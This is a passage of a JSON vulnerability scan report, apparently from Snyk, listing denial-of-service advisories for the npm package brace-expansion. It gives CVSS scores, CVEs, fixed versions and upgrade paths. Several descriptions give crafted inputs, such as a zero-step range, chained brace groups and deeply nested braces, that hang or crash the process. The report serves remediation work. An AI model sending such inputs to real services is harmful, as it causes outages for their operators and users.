">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
